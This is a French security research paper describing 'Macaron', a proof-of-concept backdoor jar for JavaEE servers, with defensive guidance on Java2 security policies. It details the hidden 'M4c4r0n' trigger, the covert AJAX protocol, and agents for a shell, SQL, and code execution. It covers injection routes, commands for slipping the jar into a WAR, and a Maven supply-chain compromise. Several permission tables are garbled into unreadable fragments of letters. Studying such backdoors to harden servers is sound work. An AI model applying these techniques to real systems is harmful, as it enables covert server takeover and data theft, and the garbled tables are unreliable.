410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

